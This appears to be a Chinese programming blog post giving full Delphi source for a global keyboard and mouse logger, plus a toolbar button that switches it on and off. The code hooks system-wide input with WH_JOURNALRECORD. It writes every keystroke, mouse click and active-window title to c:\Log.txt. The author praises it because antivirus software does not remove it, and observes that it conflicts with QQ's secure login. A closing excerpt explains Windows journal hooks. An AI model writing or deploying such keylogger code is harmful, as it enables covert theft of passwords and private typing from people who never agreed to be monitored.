[Delphi]Delphi监控键盘鼠标的程序

unit Unit3;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TForm3 = class(TForm)
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
const
  KeyMask = $80000000;

var
  Form3: TForm3;
  LogHook: HHook = 0;
  LastFocusWnd: HWnd = 0;
  PrvChar: Char;

implementation

{$R *.dfm}

function LogProc(iCode: Integer; wparam, lparam: LongInt): lresult; stdcall;
var
  ch: Char;
  vKey: Integer;
  FocusWnd: HWND;
  Title: array[0..255] of Char;
  str: array[0..12] of Char;
  TempStr, Time: string;
  LogFile: TextFile;
  PEvt: ^EVENTMSG;
  iCapital, iNumLock, iShift: Integer;
  bShift, bCapital, bNumLock: Boolean;
begin
  if iCode < 0 then
  begin
    Result := CallNextHookEx(LogHook, iCode, wParam, lParam);
    exit;
  end;
  if (iCode = HC_ACTION) then
  begin
    pEvt := Pointer(DWord(lParam));
    if not FileExists('c:\Log.txt') then
    begin
      AssignFile(LogFile, 'c:\Log.txt');
      Rewrite(LogFile);
      CloseFile(LogFile);
    end;
    AssignFile(LogFile, 'c:\Log.txt');
    Append(LogFile);

    FocusWnd := GetActiveWindow;
    if LastFocusWnd <> FocusWnd then
    begin
      writeln(LogFile);
      writeln(LogFile, '*********End**********');
      writeln(LogFile);
      writeln(LogFile, '********begin*********');
      GetWindowText(FocusWnd, Title, 256);
      LastFocusWnd := FocusWnd;
      Time := DateTimeToStr(Now);
      Writeln(LogFile, Time + Format('  《%s》', [Title]));
    end;

    if pEvt.message = WM_KEYDOWN then
    begin
      vKey := LOBYTE(pEvt.paramL);
      iShift := GetKeyState($10);
      iCapital := GetKeyState($14);
      iNumLock := GetKeyState($90);
      bShift := ((iShift and KeyMask) = KeyMask);
      bCapital := ((iCapital and 1) = 1);
      bNumLock := ((iNumLock and 1) = 1);
      if ((vKey >= 48) and (vKey <= 57)) then
        if not bShift then
          Write(LogFile, Char(vKey));
      if (vKey >= 65) and (vKey <= 90) then // A-Z a-z
      begin
        if not bCapital then
        begin
          if bShift then
            ch := Char(vKey)
          else
            ch := Char(vKey + 32);
        end
        else begin
          if bShift then
            ch := Char(vKey + 32)
          else
            ch := Char(vKey);
        end;
        Write(LogFile, ch);
      end;
      if (vKey >= 96) and (vKey <= 105) then // 小键盘0-9
        if bNumLock then
          write(LogFile, Char(vKey - 96 + 48));
      ch := 'n';
      if (VKey > 105) and (VKey <= 111) then
      begin
        case vKey of
          106: ch := '*';
          107: ch := '+';
          109: ch := '-';
          111: ch := '/';
        else
          ch := 'n';
        end;
      end;
      if (vKey >= 186) and (vKey <= 222) then // 其他键
      begin
        case vKey of
          186: if not bShift then ch := ';' else ch := ':';
          187: if not bShift then ch := '=' else ch := '+';
          188: if not bShift then ch := ',' else ch := '<';
          189: if not bShift then ch := '-' else ch := '_';
          190: if not bShift then ch := '.' else ch := '>';
          191: if not bShift then ch := '/' else ch := '?';
          192: if not bShift then ch := '`' else ch := '~';
          219: if not bShift then ch := '[' else ch := '{';
          220: if not bShift then ch := '\' else ch := '|';
          221: if not bShift then ch := ']' else ch := '}';
          222: if not bShift then ch := Char(27) else ch := '"';
        else
          ch := 'n';
        end;
      end;
      if ch <> 'n' then
        Write(LogFile, ch);
      // if (wParam >=112 && wParam<=123) // 功能键   [F1]-[F12]
      if (vKey >= 8) and (vKey <= 46) then //方向键
      begin
        ch := ' ';
        case vKey of
          8: str := '[BackSpace]';
          9: str := '[TAB]';
          13: str := '[Enter]';
          32: str := '[Space]';
          33: str := '[PageUp]';
          34: str := '[PageDown]';
          35: str := '[End]';
          36: str := '[Home]';
          37: str := '[LF]';
          38: str := '[UF]';
          39: str := '[RF]';
          40: str := '[DF]';
          45: str := '[Insert]';
          46: str := '[Delete]';
        else
          ch := 'n';
        end;
        if ch <> 'n' then
        begin
          if PrvChar <> Char(vKey) then
          begin
            Write(LogFile, str);
            PrvChar := Char(vKey);
          end;
        end;
      end;
    end
    else
      if (pEvt.message = WM_LBUTTONDOWN) or (pEvt.message = WM_RBUTTONDOWN) then
      begin
        writeln(LogFile);
        if pEvt.message = WM_LBUTTONDOWN then
          TempStr := 'LButtonDown at: '
        else
          TempStr := 'RButtonDown at: ';
        writeln(LogFile, TempStr + Format('x:%d,y:%d', [pEvt.paramL, pEvt.paramH]));
      end;
    CloseFile(LogFile);
  end;

  Result := CallNextHookEx(LogHook, iCode, wParam, lParam);
end;

procedure TForm3.FormCreate(Sender: TObject);
begin
  if LogHook = 0 then
    LogHook := SetWindowsHookEx(WH_JOURNALRECORD, LogProc, HInstance, 0);
end;

procedure TForm3.FormDestroy(Sender: TObject);
begin
  if LogHook <> 0 then
  begin
    UnhookWindowsHookEx(LogHook);
    LogHook := 0;
  end;
end;

end.

bug:QQ等截取用户输入时无效(乱码),还有QQ安全登录后会引起冲突。

优点:杀毒软件不会杀掉这个。。

在父程序里可以添个按钮开启或关闭监控

procedure TForm1.ToolButton1Click(Sender: TObject);
begin
    if not assigned(form3) then
  begin
    Form3:= TForm3.Create(Form1);
    ToolButton1.Caption:='关闭全局监控';
  end
  else
  begin
    Form3.FormDestroy(Form1);
    Form3 := nil;    //destroy事件将窗体变量指向nil,否则assigned还是true
    if Application.MessageBox('查看记录文件吗 c:\Log.txt?','提示---dragonszy',MB_YESNO) = IDYES then
      ShellExecute(Application.Handle,'open','notepad.exe','c:\Log.txt',nil,SW_SHOWNORMAL);
    ToolButton1.Caption:='开启全局监控';
  end;
end;

注意:

1.assigned()判断是否已经生成子窗体

2.释放后Form变量指向nil,否则assigned()无法正确检测

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Windows提供API函数SetwindowsHookEx来建立一个Hook,通过这个函数可以将一个程序添加到Hook链中监视Windows 消息,函数语法为: SetWindowsHookEx(idHook: Integer; lpfn: TFNHookProc; hmod: HINST; dwThreadId: DWORD) 其中参数idHook指定建立的监视函数类型。 通过Windows MSDN帮助可以看到,SetwindowsHookEx函数提供15种不同 的消息监视类型,在这里我们将使用WH_JOURNALRECORD和WH_JOURNALPLAYBACK来监视键盘鼠标操作。参数lpfn指定消 息函数,在相应的消息产生后,系统会调用该函数并将消息值传递给该函数供处理。函数的一般形式为: Hookproc (code: Integer; wparam: WPARAM; lparam: LPARAM): LRESULT stdcall; 其中code为系统指示标记,wParam和lParam为附加参数,根据不同的消息监视类型而不同。只要在程序中建立这样 一个函数再通过SetwindowsHookEx函数将它加入到消息监视链中就可以处理消息了。 在不需要监视系统消息时需要调用提供UnHookWindowsHookEx来解除对消息的监视。 WH_JOURNALRECORD和WH_JOURNALPLAYBACK类型是两种相反的Hook类型,前者获得鼠标键盘动作消息,后者回放鼠 标键盘消息。所以在程序中我们需要建立两个消息函数,一个用于纪录鼠标键盘操作并保存到一个数组中,另一个用于 将保存的操作返给系统回放。 下面来建立程序,在Delphi中建立一个工程,在Form1上添加3个按钮用于程序操作。另外再添加一个按钮控件和一个Edit控件用于验证操作

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值